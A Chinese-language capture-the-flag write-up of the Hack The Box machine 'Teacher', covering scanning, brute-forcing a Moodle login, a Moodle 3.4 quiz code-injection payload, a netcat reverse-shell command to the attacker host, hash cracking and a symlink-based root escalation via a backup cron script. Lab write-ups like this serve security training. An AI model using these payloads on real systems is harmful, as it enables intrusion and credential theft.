【HTB系列】靶机Teacher的***测试详解

Kali: 10.10.14.50
靶机地址:10.10.10.153php

先用nmap 对靶机进行扫描python

nmap -sC -sV -sT 10.10.10.153

只开启了80端口,网页内容以下mysql

一个静态的网页,还有一些其余的页面,Courses,Students等等sql

检查下网页的源代码,在GALLERY页面发现一个奇怪的点shell

第一个img元素多了一个onerror错误事件,意思是加载错误时在控制台输出(That‘s an F)安全

而后其余的img图片都是能正常打开惟独第一个是没法打开的bash

那么可能这个图片里面藏着什么东西,用curl下载来看看微信

curl http://10.10.10.153/images/5.png -o image.png

下载过来的文件是打不开的,可能它是损坏的或者它就不是一个图片
咱们用file+cat命令查看文件类型以及文件里面的内容网络

他的意思是忘记了密码的最后一位,让咱们弄清楚密码或者是去重置密码
咱们用gobuster对网页的目录进行爆破处理curl

gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50

/phpMyAdmin

/moodle

PhpMyAdmin被拦截没法访问,而后moodle是正常能够访问的
Moddle有个登录页面

账户密码可能就是刚刚提示所说的

账户:Giovanni
而后密码的最后一位咱们须要去猜解

咱们用burp的intruder模块进行暴力猜解
加载一下两个字典(数字+大小写字母+特殊字符)
/usr/share/SecLists/Fuzzing/alphanum-case.txt
/usr/share/SecLists/Fuzzing/special-chars.txt

根据响应长度的不一样,找出了最后一位的密码位#
正确的账户和密码以下:

Username:Giovanni
Password:Th4C00lTheacha#

咱们须要查看下moodle的版本,而后找对应的EXP
能够找到任意网页下面的(Moodle Docs for this page),查看他跳转的url根据url参数看出它是什么版本的

因此这个版本是3.4版本的,而后咱们去google查找3.4版本的漏洞

咱们能够利用quiz进行代码执行
打开编辑模式

任选一个TOP建立一个活动

点击quiz

输入内容,而后点击(Save and display)

而后咱们点击 edit quiz

并添加一个新问题。问题类型将是Calculated

而后信息随便填写

在answers填入(这个在这其实并不适用)

/*{a*/`$_REQUEST[sdfz]`;//{x}}`;

在实际运用的过程当中仍是会须要修改下payload的

通过2次的修改最终的payload为

/*{a*/`$_REQUEST[sdfz]`;//{x}}

成功后就来到这个页面

咱们将点击Next Page访问页面:

若是能正常显示说明payload没有问题
咱们用kali监听1337
而后在页面后面添加以下url并访问

&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f

而后获得shell

尝试切换到用户目录发现不容许

因此咱们须要找到用户的shell

而后我就返回moodle目录查找有没有可用线索,发现config.php配置文件

咱们经过mysql -u root -p进行登录,可是发现不能连续性执行sql语句,shell交互性不好

咱们经过python来创建起一个shell

python -c 'import pty;pty.spawn("/bin/bash")'

执行下面2句sql:

use moodle;
select username,password from mdl_user;

前3个就是被混淆过可能没法破解,咱们看下第4个的长度

echo -n 7a860966115182402ed06375cf0a22af | wc -c

发现是32位,应该是MD5加密

破解下

 

账户:Giovannibak(这个账户实际上是不对的)
密码:expelled

而后咱们切换过去

发现这个用户有问题应该是不存在的,后来看到bak多是备用的用户,咱们查下/etc/passwd

账户:giovanni
密码:expelled

获得user flag

接下来就是得到root权限,通过各类查找
在giovanni的work目录下发现一个,应该是任务计划数据备份的留下的线索

而后我看了下计划任务

有的目录不能访问,有的就是各类调用,这里我用一个就是进程过程监控工具,我只要看它到时候调用了什么脚本生成备份数据

 

直接下这个已经编译好的二进制
先看下靶机的系统

这里我就直接下这个

接下来就是常规操做,本地用python的SimpleHTTPServer模块开启HTTP服务,而后靶机用wget远程下载pspy,这里咱们把pspy下载到靶机的/dev/shm目录

而后chmod +x 并执行

这里很明显切换了root身份开始了任务计划,同时咱们也看到了/usr/bin/backup.sh这个脚本,咱们能够经过它获得root shell,可是发现咱们只有执行的权限并无编辑权限

查看下文件的内容

它压缩/home/giovanni/work/courses目录中的全部东西,在切换到tmp目录把压缩包解压到tmp目录中去。利用这个特性,咱们rm -r 删除原始的courses目录,并建立root目录的软链接即ln -s /root courses

这样脚本再次进行数据备份的时候会把root目录下的东西解压缩到tmp目录,而后咱们直接cat root flag便可



 

Ms08067安全实验室专一于网络安全知识的普及和培训。团队已出版《Web安全***:***测试实战指南》,《内网安全***:***测试实战指南》,《Python安全***:***测试实战指南》,《Java代码安全审计(入门篇)》等书籍。
团队公众号按期分享关于CTF靶场、内网***、APT方面技术干货,从零开始、以实战落地为主,致力于作一个实用的干货分享型公众号。加入后邀请加入内部VIP群,内部微信群永久有效!

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

相关文章
相关标签/搜索